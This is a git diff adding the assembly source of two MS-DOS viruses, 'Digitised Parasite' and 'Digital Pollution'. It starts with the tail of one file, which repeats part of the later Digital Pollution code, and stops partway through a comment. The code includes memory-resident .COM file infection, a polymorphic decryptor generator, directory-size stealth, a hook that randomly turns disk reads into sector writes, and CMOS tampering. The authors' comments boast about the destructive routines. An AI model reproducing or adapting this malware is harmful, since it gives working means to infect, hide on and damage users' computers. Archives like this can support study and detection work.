;then do some FCB stealth + cmp ah,12h + je hide_dir + jmp do_oldint21h + +hide_dir: ;FCB stealth routine + pushf ;simulate a int call with pushf + push cs ;and cs, ip on the stack + call do_oldint21h + or al,al ;was the dir call successfull?? + jnz skip_dir ;if not skip it + + push ax bx es ;preserve registers in use + + mov ah,62h ;same as 51h - Get current PSP to es:bx + int 21h + mov es,bx + cmp bx,es:[16h] ;is the PSP OK?? + jnz bad_psp ;if not quit + + mov bx,dx + mov al,[bx] ;al holds current drive - FFh means + push ax ;extended FCB + mov ah,2fh ;get DTA-area + int 21h + pop ax + inc al ;is it an extended FCB + jnz no_ext + add bx,7 ;if so add 7 +no_ext: + mov al,byte ptr es:[bx+17h] ;get seconds field + and al,1fh + xor al,1dh ;is the file infected?? + jnz no_stealth ;if not - don't hide size + + cmp word ptr es:[bx+1dh],vir_size-3 ;if a file with same seconds + jbe no_stealth ;as an infected is smaller - + sub word ptr es:[bx+1dh],vir_size-3 ;don't hide size + sbb word ptr es:[bx+1fh],0 ;else sub vir_size-2 from +no_stealth: ;dir entry +bad_psp: + pop es bx ax ;restore regs +skip_dir: + iret + + +infect: ;.com file infection routine + push es bp ax bx cx si di ds dx ;preserve registers in use + + mov ax,4300h ;get attrib + int 21h + push cx ;save attrib + mov ax,4301h ;clear attrib + xor cx,cx + int 21h + + mov ax,3d02h ;open file + pushf ;we can't have a standard int 21h + push cs ;call here as we would get caught + call do_oldint21h ;in a infinite loop at open calls + + xchg ax,bx ;bx = file handle + + push cs + pop ds + + mov ax,5700h ;get time/date + int 21h + push dx ;push date/time for later use + push cx + and cl,1fh ;check if infected (if seconds is 29) + xor cl,1dh + je skip_infect + + mov ah,3fh ;read three bytes + mov cx,3 + mov dx,offset ds:orgbuf + int 21h + + + cmp word ptr ds:orgbuf,'ZM' ;check if .EXE file + je skip_infect + cmp word ptr ds:orgbuf,'MZ' + je skip_infect ;if so - don't infect + + + mov ax,4202h ;go eof + xor cx,cx + cwd + int 21h + + add ax,offset entry_point-106h ;calculate entry offset to jmp + mov word ptr ds:newbuf[1],ax ;move it to newbuf + + mov ah,2ch ;get random number and put enc_val + int 21h + mov word ptr ds:enc_val,dx + mov ax,08d00h ;copy entire virus to 8d00h:100h + mov es,ax + mov di,100h + mov si,di + mov cx,(vir_size+1)/2 + rep movsw + push es + pop ds + xor bp,bp ;and encrypt it there + call encrypt_decrypt + + + + mov ah,40h ;write virus to file from position + mov cx,end_of_virus-install ;08d00h:100h + mov dx,offset install + int 21h + + push cs + pop ds + + mov ax,4200h ;go sof + xor cx,cx + cwd + int 21h + + mov ah,40h ;write 3 start bytes + mov cx,3 + mov dx,offset newbuf + int 21h + +skip_infect: + mov ax,5701h ;restore time/date and mark it infected + pop cx + pop dx + or cl,00011101b + and cl,11111101b + int 21h + +;skip_infect: + mov ah,3eh ;close the file + int 21h + + pop cx ;get old attrib in cx + pop dx + pop ds + mov ax,4301h ;and put it right + int 21h + + pop di si cx bx ax bp es ;restore registers + +do_oldint21h: +db 0eah ;jmp to original int21h handler +OldInt21h dd 0 + +check_com: ;routine to check if a file has the + push di es cx ax ;extension .com + push ds + pop es + mov cx,64 + mov di,dx + mov al,'.' + repne scasb ;search for the '.' location + + pop ax cx es + + cmp word ptr ds:[di],'OC' ;check the 3 following bytes for COM + jne break + cmp byte ptr ds:[di+2],'M' + jne break + pop di + jmp infect ;if the match - infect the file +break: + pop di + jmp short do_oldint21h + + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; new interrupt 25h handler +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +new_int25h: + + push dx + cmp al,2 ;check for c: and above + jb do_int25h + push cx ax + + mov ah,2ch ;get random number + int 21h + pop ax cx + cmp dl,2 ;3% chance of a int 26 nuke + ja do_int25h + +trash: + pop dx +db 0eah ;trash cx # of sectors by jumping +int26h dd 0 ;to int26h handler + +do_int25h: + pop dx +db 0eah ;lucky victim - a standard int25h call +old_int25h dd 0 + + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; CMOS nuking routine +; +; This routine changes the floppy alternative in CMOS to a 360kb floppy +; or the hd to a 20 MB +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +screw_cmos: + + or dl,dl ;if dl = 0 nuke CMOS floppy + jne floppy + mov cl,19h ;else nuke CMOS hd + jmp short get_crc +floppy: + mov cl,10h + +get_crc: ;get CMOS crc checksum + mov ax,2eh ;get most significant byte + out 70h,al ;and store in dh + in al,71h + xchg dh,al + mov al,2fh ;get least significant byte + out 70h,al ;and store in dl + in al,71h + xchg dl,al ;dx holds crc checksum + + mov al,cl ;cl = function (10h=floopy, 19h=hd) + out 70h,al + in al,71h ;get current value in al + sub dx,ax ;and subtract from checksum + add dx,10h ;add new value to checksum + + mov al,cl + out 70h,al + mov al,10h + out 71h,al ;put new value in CMOS + + mov al,2eh ;put back new crc checksum + out 70h,al + xchg dh,al + out 71h,al ;least signigicant byte + mov al,2fh + out 70h,al + xchg dl,al + out 71h,al ;most significant byte + + ret ;done! + + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; Swedish national anthem routine +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +play_song: + + lea si,[bp+tune] +next_note: ;loop through the tune at ds:si + lodsw ;until ds:si = 0 + or ax,ax + je eot + mov di,ax +play: + mov al,0b6h + out 43h,al + mov dx,12h + mov ax,3280h + div di + out 42h,al + mov al,ah + out 42h,al + + in al,61h + mov ah,al + or al,3 + out 61h,al + + lodsw + mov cx,ax +delay: + push cx + mov cx,2700 + loop $ + pop cx + loop delay + + out 61h,al + + jmp next_note +eot: + xor al,al ;kill the sound + out 61h,al + + ret + +tune dw 370,600 ;data for the tune + dw 370,1200 + dw 294,600 + dw 294,600 + dw 294,1200 + dw 330,600 + dw 370,600 + dw 370,1200 + dw 330,600 + dw 294,600 + dw 277,1800 + dw 330,600 + dw 330,1200 + dw 277,600 + dw 294,600 + dw 330,600 + dw 277,600 + dw 370,600 + dw 294,600 + dw 247,2400 + dw 220,1200 + dw 0 + +dbnote db "Digital Pollution (c) '94 Raver/Immortal Riot" ;creators note + + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; En/de-cryption routine and entry point - unencrypted code +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +encrypt_decrypt: + mov ax,word ptr ds:[bp+enc_val] ;put encryption value in ax + lea di,[bp+install] ;di points to start of crypt + mov cx,(encrypt_decrypt-install)/2 ;cx = # of words to be enc. +xor_loopy: + xor word ptr ds:[di],ax ;a simple xor loop to fullfill + inc di ;the task + inc di + loop xor_loopy + ret +enc_val dw 0 + + +entry_point: + mov sp,102h ;some alternative way to pop + call get_bp ;we don't want TBAV to flag +get_bp: ;a flexible entry point + mov bp,word ptr ds:[100h] + mov sp,0fffeh + sub bp,offset get_bp + + call encrypt_decrypt ;decrypt the virus + jmp install ;jmp to install code + +end_of_virus: + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; end of virus +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +cseg ends + + end start_of_virus \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.digparas.asm b/MSDOS/Virus.MSDOS.Unknown.digparas.asm new file mode 100644 index 00000000..3ce59052 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.digparas.asm @@ -0,0 +1,637 @@ +comment % + +Digitised Parasite +Heyup, dudes, I added the "Weiners XOR machine" that I've been working on, +it sucks and DF keeps telling me that, but hey, it polymorphs right? +right guys? HEhehehe, pixy, wheres my disassembly you promised me? +and no more cracks bout the "WXM" i finished it and it works, so fuck me all +you lazy sods! + +Well, so it's not really, polymorphic, but it does make from scratch a +decryptor, okey, okey, so shaddup already ;) + +Vir_tit: Digitised Parasite +Variant: 5th "Australian Parasite" + Author: Australian Parasite [AIH] + Origin: Australia + Length: A whopping 971bytes + Issue: Resident .COM infector on EXEC + Date: Completion in June 1994 + +% + +VERS EQU 5 + +MAIN: +CALL X0 + +X0: +MOV BP,SP +MOV DI,0100 +XCHG W[BP],DI +SUB DI,0103 +MOV BP,0100 +XCHG DI,BP + +LEA SI,[BP+OLD3] +MOVSW +MOVSB + +MOV AX,02B44 +INT 21H +CMP AH,VERS +JNE GO_MEM +RET + +GO_MEM: +MOV CX,PARGS ;AMOUNT OF MEMORY +MOV DX,CS +DEC DX +MOV ES,DX +MOV DX,W[2] ;SUB IT FROM CURRENT PSP +SUB DX,CX +ES: SUB W[3],CX ;SUB IT FROM OVERALL MEM +MOV W[2],DX + +XOR DI,DI +MOV ES,DX +LEA SI,[BP+0100] + +PUSH CS +POP DS + +MOV AX,03521 - BUFLEN + +MOV CX,BUFLEN + +ADD AX,CX + +REP MOVSB +PUSH ES +POP DS +INT 21H +MOV W[OFFSET JUMP+3-0100],ES +MOV W[OFFSET JUMP+1-0100],BX +MOV DX,INT21H-0100 +MOV AX,02521 - (INT21H-0100) +ADD AX,DX +INT 21H + +PUSH CS,CS +POP ES,DS +RET + +db "The Digitised Parasite : Australian Parasite [AIH]" + +INT21H: +PUSHF +PUSH AX + +ADD AH,AH +CMP AH,04B+04B + +POP AX +JE DO_IT + +POPF + +CMP AX,02B44 +JNE JUMP + +MOV AH,VERS +IRET + +JUMP: JMP 0000:0000 + +DO_IT: +push ax,bx,cx,dx,si,di,bp,es,ds + +;open file +MOV AX,03D02 +INT 21H +JNC X1 + +JMP DO_RET + +X1: +;save handle +MOV BX,AX + +PUSH CS,CS +POP ES,DS + +;save the first 3 bytes +MOV AH,03F +MOV CX,3 +MOV DX,OFFSET OLD3-0100 +INT 21H + +MOV SI,DX +ADD DX,"ZM" - OFFSET (OLD3-0100) +CMP W[SI],DX +JE DO_RETS + +;move pointer to end of file to get size +MOV AX,04202 +XOR CX,CX +XOR DX,DX +INT 21H + +SUB AX,3 +MOV W[OFFSET HOST-0100],AX + +MOV AX,04202 +MOV CX,-1 +MOV DX,0-MLEN +INT 21H + +MOV DX,ENDV-0100 +MOV CX,MLEN +MOV AH,03F +INT 21H + +MOV SI,DX +MOV DI,MARKER-0100 +REP CMPSB +JE DO_RETS + +;get date & time +MOV AX,05700 +INT 21H +PUSH CX +PUSH DX + +PUSH BX + +MOV AX,W[OFFSET HOST-0100] +ADD AX,0103 +MOV BX,BUFLEN +XOR SI,SI +MOV DI,OFFSET ENDV-0100 +CALL POLY + +POP BX +MOV AH,040 +INT 21H + +MOV AH,040 +MOV CX,MLEN +MOV DX,OFFSET MARKER-0100 +INT 21H + +MOV AX,04200 +XOR CX,CX +XOR DX,DX +INT 21H + +MOV CL,3 +MOV DX,OFFSET JUMPS-0100 +MOV AH,040 +INT 21H + +POP DX +POP CX +MOV AX,05701 +INT 21H + +DO_RETS: +MOV AH,03E +INT 21H + +DO_RET: +POP DS,ES,BP,DI,SI,DX,CX,BX,AX +POPF +JMP JUMP + +;============================================================================== +;call Poly with +; AX = Delta offset +; BX = Length of code to encrypt +;DS:SI = Offset of code to encrypt +;ES:DI = Buffer offset of where to put cryption routine +;returns +;cx = total length to write +;ds:dx = 32bit offset of where code is + +db "Weiners XOR machine 1.0 (C) Australian Parasite [AIH] June 1994" + +;With some thanks to Vibrant Pixel and Digital Vampyr + +Poly: +enter 22,0 ;80286 inst only ;) + +mov w[bp-20],CX +mov w[bp-22],si +mov w[bp-16],di +mov w[bp-4],ax ;Save Encryption Offset +mov w[bp-6],bx ;Save Length to encrypt +add ax,bx +add w[bp-10],ax ;Add some to the random seed + +call poly_flood_buffer +call poly_make_register +call poly_regnum ;Set regnum seed +call poly_pointer_set ;Set the encryption delta offset +call poly_count_set +call poly_get_byte +call poly_crypt_byte +call poly_set_byte +call poly_inc_data +call poly_dec_counter +call poly_calc_loop + +mov ax,w[bp-16] +sub di,ax +mov w[bp-18],di + +call poly_fix_delta + +;copy code to end of cryption routine + +mov cx,w[bp-6] +mov si,w[bp-22] +mov di,w[bp-16] +add di,w[bp-18] +rep movsb + +mov cx,w[bp-6] +mov si,w[bp-16] +add si,w[bp-18] + +mov dx,w[bp-8] + +l1: +xor b[si],dl +inc si +loop l1 + +push es +pop ds + +mov dx,w[bp-16] +mov cx,w[bp-18] +add cx,w[bp-6] + +leave ;Whoooo, another 80286+ only; + ;kill our scratch buffer +ret + +poly_fix_delta: +mov di,w[bp-14] +mov ax,w[bp-18] +inc di +add w[di],ax +ret + +poly_regnum: +test dl,0100xb +je ret +mov w[bp-8],di ;Yes, then do this +mov ax,0b0 +stosw +ret + + +poly_make_register: +call poly_rand_byte +and al,0111xb +mov dh,al +;dh = main data get\put register. one of 8 registers + +l1: +call poly_rand_byte +and al,0111xb +mov dl,al +cmp dh,dl +je l1 +;dl = encryption register. one of 7 registers + +l1: +; DH AL +; 0000 AL 0000 AX a# = 0000 or 0100 so it == 00 +; 0001 CL 0001 BX +; 0010 DL 0010 CX ;notice in AX + CX that bottom bit is off +; 0011 BL 0011 DX ;and in AL+CL the second bit is off +; 0100 AH +; 0101 CH +; 0110 DH +; 0111 BH + +;convert byte reg to word reg +call poly_rand_byte +and al,0011xb ;DOES BOTTOM 2 BITS + +mov ah,dh +and ah,0011xb +cmp ah,al +je l1 + +mov ah,dl +and ah,0011xb +cmp ah,al +je l1 + +shl dl,4 +or dl,al + +;shl 1 and compare the two top bits +;00 = AX = AL,AH +;01 = CX = CL,CL +;10 = DX = DL,DL +;11 = BX = BL,BL + +call poly_rand_byte +and al,0001xb +shl al,2 +or dl,al + +call poly_rand_word +aad +and al,1 +shl al,3 +or dl,al + +;dll = counter reg xxxx xx11 = reg +;dll = reg or num, 1 = reg to reg xxxx x1xx = flag +; 0 = reg to num +;dll = data pointer xxxx 1xxx = Pointer reg SI or DI +; 0 = SI +; 1 = DI +;dlh = encryption reg x111 xxxx = reg +;dhl = getput reg xxxx x111 = reg + +ret + + +poly_get_byte: +mov ah,dh +and ah,0111xb +shl ah,3 +add ah,4 + +test dl,01000xb +je >l1 +add ah,1 +l1: +mov al,08a +stosw +ret + +poly_set_byte: +mov ah,dh +and ah,0111xb +shl ah,3 +add ah,4 + +test dl,01000xb +je >l1 +add ah,1 +l1: +mov al,088 +stosw +ret + +poly_count_set: +mov al,dl +and al,0011xb +add al,0b8 +stosb +mov ax,w[bp-6] +stosw +mov w[bp-2],di ;Save delta +ret + + +poly_crypt_byte: +;this the bash the databyte with the cryptreg\num +;so its got to be a XOR #l\h, #l\h +; or XOR #l\h, ## +; or xor [#i], #l\h ;* never produced +; or xor [#i], ## ;* never produced + +test dl,0100xb +jne >l1 + +;do reg to num conversions +;crypt reg with number +;do the xor #l\h, ## + +call poly_rand_byte +mov ah,al + +mov al,dh +and al,0111xb +or al,al +jne >l2 + +;its a straight al +mov al,034 +stosw +ret + +l2: +add al,0f0 +mov ah,080 +xchg al,ah +stosw +call poly_rand_word +stosb +jmp >l2 + + +l1: +;bit is on, so do reg to reg conversions +;crypt reg with random register +mov bh,dh +and bh,0111xb + +mov al,dl +shr al,4 +shl al,3 +add bh,al +add bh,0c0 + +xchg ax,bx + +mov al,030 +stosw + +;now fix the reg2reg rndnumber +mov bx,di +mov di,w[bp-8] +mov ah,dl +shr ah,4 +add ah,0b0 +call poly_rand_byte +xchg al,ah +stosw +mov di,bx +xchg al,ah + +l2: +;al = the cypher byte +mov w[bp-8],ax +ret + + +poly_pointer_set: +mov w[bp-14],di + +mov al,0be +test dl,001000xb +je >l1 + +inc al + +l1: +stosb +mov ax,w[bp-4] +stosw +ret + +poly_inc_data: +;data reg pointer is stored in +;dh = xx1x 0 = si, 1 = di + +xor ax,ax +test dl,001000xb +je >l1 + +inc ah + +l1: +call poly_rand_byte + +test al,00010xb +je >l1 + +add ah,046 +xchg al,ah +stosb +jmp >l2 + +l1: +mov al,083 +add ah,0c6 +stosw +mov al,1 +stosb + +l2: +ret + +poly_dec_counter: +;counter is stored in dll +;counter is ALWAYS a WORD register +mov ah,dl +and ah,0011xb + +call poly_rand_byte + +test al,1 +jne >l1 + +;do DEC ## +xchg al,ah +add al,048 +jmp >l3 + +l1: +;do SUB ##,1 +or ah,ah +je >l1 + +mov al,083 +add ah,0e8 +stosw +mov al,1 +jmp >l3 + +l1: +mov ax,012d +stosw +mov al,0 + +l3: +stosb + +l2: +ret + +poly_calc_loop: +;work it on a j statement + +;loop while not 0 = +; JNZ = 075 +; JG = 07F +; JA = 077 + +mov bx,di +sub bx,w[bp-2] + +call poly_rand_byte +and al,0011xb ;We onlt need 3 inst..... + +xchg bl,bh +mov bl,075 +dec al +js >l1 + +mov bl,077 +dec al +je >l1 +mov bl,07f + +l1: +xchg ax,bx +not ah +dec ah +stosw +ret + +poly_flood_buffer: +push si,ds,di +mov cx,w[bp-6] + +xor si,si +mov ax,0162 +mov ds,ax +rep movsb + +pop di,ds,si +ret + +poly_rand_byte: +mov w[bp-12],ax +call poly_rand_word +mov ah,b[bp-11] +ret + +poly_rand_word: +push bx,cx,dx + +in ax,040 +add ax,w[bp-10] +mov bx,037 +mul bx +mov bx,0127 +div bx +add ax,dx +add w[bp-10],ax + +pop dx,cx,bx +ret + +JUMPS: DB 0E9 +HOST: DW 0000 + +OLD3: DB 0C3,0C3,0C3 + +MARKER: DB "Australian Parasite" +MLEN EQU $ - MARKER + +ENDV: +BUFLEN EQU ENDV-0100 + +PARGS EQU ((BUFLEN/16)+2) * 2 + diff --git a/MSDOS/Virus.MSDOS.Unknown.digpol.asm b/MSDOS/Virus.MSDOS.Unknown.digpol.asm new file mode 100644 index 00000000..c9a4a3a1 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.digpol.asm @@ -0,0 +1,513 @@ +; VirusName : Digital Pollution +; Origin : Sweden +; Author : Raver +; Group : Immortal Riot +; Date : 25/07/94 + +; It's been a while since I released my last virus but here's a new one +; anyway. +; +; It's a pretty simple resident non-overwriting .com-infector with +; basic stealth function. Of course it restores time/date/attrib +; and stuff like that. It hooks int 21h and infects on execute +; and open (4b00h/3dh). If a "dir" command is executed it will hide +; the new filesize of infected size by hooking 11h/12h (Find first/next +; the FCB way). The comments is, I think, pretty OK and easy to follow. +; +; As we have started to make out viruses a bit more destructive I've +; included some nuking routines. The virus hooks int 25h (read sector) +; at install and every time it's called there is a 3 % chance that it +; will execute a int 26h instead (write sector). It also includes a +; routine to change the CMOS values for the HD/floppy. Every time an +; infected file is executed it's 2 % chance that this will be activated +; and if so the HD will be set to 20MB and the floppy to 360kb. +; Though this can easily be restored it can cause the novice to do +; some unpredictable things before he really detects the real error. +; (like formating floppys or HD or call his hardware vendor :) +; Also if it's the swedish national day (06/06) it will play some of +; the swedish national antheme. It's completely undestructive but +; what the phuck, it could be fun. + +; At last some credits to Macaroni Ted 'cause I've borrowed the +; play_song routine from his CyberCide Virus. + + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; DIGITAL POLLUTION +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä + +cseg segment byte public 'code' + assume cs:cseg, ds:cseg + + org 100h + +vir_size equ end_of_virus-start_of_virus + +start_of_virus: + jmp entry_point + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; Install code +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +install: + + mov ax,7777h ;check if we're already in mem + int 21h + cmp ax,'iR' ;if so - jmp already_resident + je already_resident + + mov ah,2ah ;get data + int 21h + cmp dx,0606h ;if it's Sweden's national day + jne dont_play ;play the national antheme + call play_song +dont_play: + + mov ah,4ah ;get #of available paragraphs in bx + mov bx,0ffffh + int 21h + + sub bx,(vir_size+15)/16+1 ;recalculate and + mov ah,4ah + int 21h + + mov ah,48h ;allocate enough mem for virus + mov bx,(vir_size+15)/16 + int 21h + jc already_resident ;exit if error + + dec ax ;ax-1 = MCB + mov es,ax + mov word ptr es:[1],8 ;Mark DOS as owner + + push ax ;save for later use + + mov ax,3521h ;get interrupt vectors for 21, 25 & 26h + int 21h + mov word ptr ds:[OldInt21h],bx + mov word ptr ds:[OldInt21h+2],es + + mov al,25h + int 21h + mov word ptr ds:[old_int25h],bx + mov word ptr ds:[old_int25h+2],es + + inc al + int 26h + mov word ptr ds:[int26h],bx + mov word ptr ds:[int26h+2],es + + pop ax ;ax = MCB for allocated mem + push cs + pop ds + + cld ;cld for movsw + sub ax,0fh ;es:[100h] = start of allocated mem + mov es,ax + mov di,100h + lea si,[bp+offset start_of_virus] + mov cx,(vir_size+1)/2 ;copy entire virii to mem + rep movsw ;this way keeps the original offsets + ;in the int handler + push es + pop ds + + mov dx,offset new_int21h ;hook int21h to new_int21h + mov ax,2521h + int 21h + +already_resident: + mov di,100h ;restore the 3 first bytes to it's + push cs ;original position + push cs + pop es + pop ds + lea si,[bp+orgbuf] + mov cx,3 + rep movsb + + mov ah,2ch ;get time + int 21h + cmp dl,1 ;about 2% chance of a CMOS nuke + ja exit + call screw_cmos +exit: + mov ax,100h ;return control to original program + jmp ax ;at cs:100h + +orgbuf db 0cdh,20h,90h ;buffer to save the 3 first bytes +newbuf db 0e9h,00h,00h ;buffer to calculate a new entry + ;offset + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; new interrupt 21h handler +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +new_int21h: + + cmp ax,7777h ;is it residency check?? + jne continue + mov ax,'iR' ;if so return 'iR' + iret +continue: + cmp ax,4b00h ;check for exec + je infect +check_open: + cmp ah,3dh ;check for open + jne check_dir + jmp check_com ;if si check if .com file +check_dir: + cmp ah,11h ;is it a dir call?? + je hide_dir ;then do some FCB stealth + cmp ah,12h + je hide_dir + jmp do_oldint21h + +hide_dir: ;FCB stealth routine + pushf ;simulate a int call with pushf + push cs ;and cs, ip on the stack + call do_oldint21h + or al,al ;was the dir call successfull?? + jnz skip_dir ;if not skip it + + push ax bx es ;preserve registers in use + + mov ah,62h ;same as 51h - Get current PSP to es:bx + int 21h + mov es,bx + cmp bx,es:[16h] ;is the PSP OK?? + jnz bad_psp ;if not quit + + mov bx,dx + mov al,[bx] ;al holds current drive - FFh means + push ax ;extended FCB + mov ah,2fh ;get DTA-area + int 21h + pop ax + inc al ;is it an extended FCB + jnz no_ext + add bx,7 ;if so add 7 +no_ext: + mov al,byte ptr es:[bx+17h] ;get seconds field + and al,1fh + xor al,1dh ;is the file infected?? + jnz no_stealth ;if not - don't hide size + + cmp word ptr es:[bx+1dh],vir_size-3 ;if a file with same seconds + jbe no_stealth ;as an infected is smaller - + sub word ptr es:[bx+1dh],vir_size-3 ;don't hide size + sbb word ptr es:[bx+1fh],0 ;else sub vir_size-2 from +no_stealth: ;dir entry +bad_psp: + pop es bx ax ;restore regs +skip_dir: + iret + + +infect: ;.com file infection routine + push es bp ax bx cx si di ds dx ;preserve registers in use + + mov ax,4300h ;get attrib + int 21h + push cx ;save attrib + mov ax,4301h ;clear attrib + xor cx,cx + int 21h + + mov ax,3d02h ;open file + pushf ;we can't have a standard int 21h + push cs ;call here as we would get caught + call do_oldint21h ;in a infinite loop at open calls + + xchg ax,bx ;bx = file handle + + push cs + pop ds + + mov ax,5700h ;get time/date + int 21h + push dx ;push date/time for later use + push cx + and cl,1fh ;check if infected (if seconds is 29) + xor cl,1dh + je skip_infect + + mov ah,3fh ;read three bytes + mov cx,3 + mov dx,offset ds:orgbuf + int 21h + + + cmp word ptr ds:orgbuf,'ZM' ;check if .EXE file + je skip_infect + cmp word ptr ds:orgbuf,'MZ' + je skip_infect ;if so - don't infect + + + mov ax,4202h ;go eof + xor cx,cx + cwd + int 21h + + add ax,offset entry_point-106h ;calculate entry offset to jmp + mov word ptr ds:newbuf[1],ax ;move it to newbuf + + mov ah,2ch ;get random number and put enc_val + int 21h + mov word ptr ds:enc_val,dx + mov ax,08d00h ;copy entire virus to 8d00h:100h + mov es,ax + mov di,100h + mov si,di + mov cx,(vir_size+1)/2 + rep movsw + push es + pop ds + xor bp,bp ;and encrypt it there + call encrypt_decrypt + + + + mov ah,40h ;write virus to file from position + mov cx,end_of_virus-install ;08d00h:100h + mov dx,offset install + int 21h + + push cs + pop ds + + mov ax,4200h ;go sof + xor cx,cx + cwd + int 21h + + mov ah,40h ;write 3 start bytes + mov cx,3 + mov dx,offset newbuf + int 21h + +skip_infect: + mov ax,5701h ;restore time/date and mark it infected + pop cx + pop dx + or cl,00011101b + and cl,11111101b + int 21h + +;skip_infect: + mov ah,3eh ;close the file + int 21h + + pop cx ;get old attrib in cx + pop dx + pop ds + mov ax,4301h ;and put it right + int 21h + + pop di si cx bx ax bp es ;restore registers + +do_oldint21h: +db 0eah ;jmp to original int21h handler +OldInt21h dd 0 + +check_com: ;routine to check if a file has the + push di es cx ax ;extension .com + push ds + pop es + mov cx,64 + mov di,dx + mov al,'.' + repne scasb ;search for the '.' location + + pop ax cx es + + cmp word ptr ds:[di],'OC' ;check the 3 following bytes for COM + jne break + cmp byte ptr ds:[di+2],'M' + jne break + pop di + jmp infect ;if the match - infect the file +break: + pop di + jmp short do_oldint21h + + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; new interrupt 25h handler +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +new_int25h: + + push dx + cmp al,2 ;check for c: and above + jb do_int25h + push cx ax + + mov ah,2ch ;get random number + int 21h + pop ax cx + cmp dl,2 ;3% chance of a int 26 nuke + ja do_int25h + +trash: + pop dx +db 0eah ;trash cx # of sectors by jumping +int26h dd 0 ;to int26h handler + +do_int25h: + pop dx +db 0eah ;lucky victim - a standard int25h call +old_int25h dd 0 + + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; CMOS nuking routine +; +; 